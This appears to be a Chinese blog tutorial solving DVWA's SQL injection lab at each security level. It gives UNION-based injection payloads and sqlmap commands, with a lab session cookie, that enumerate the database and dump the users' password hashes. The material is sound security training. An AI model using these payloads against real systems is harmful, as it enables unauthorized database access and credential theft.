DVWA SQL Injection(回显注入)全等级

DVWA SQL Injection(回显注入)全等级,第1张

DVWA SQL Injection(回显注入)全等级 SQL Injection(回显注入)

目录:
    • SQL Injection(回显注入)
      • 1. Low
      • 2.Medium
      • 3. High
      • 4.Impossible
      • 5.运用sqlmap自动化注入
        • 1.查看信息
        • 2.查看数据库名
        • 3.查看表名
        • 4.查看字段名
        • 5.查看字段数据
        • 登录

注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECt first_name, last_name FROM users WHERe user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECt first_name, last_name FROM users WHERe user_id = ‘1’ union select user,password from users #’;”;

获取表长度

1’ order by n #

获取当前数据库
-1’ union select database(),version() #

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

查看字段数据
-1’ union select user,password from users #

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的 *** 作,但是注意是数字型数据,所以不要用单引号闭合

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的 *** 作就行了。

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入 1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

结果:

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

结果:

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

结果:

可以查看存在password字段

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

结果:

登录

尝试拿获取的数据登录

登陆成功,用户名为gordonb

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5680477.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存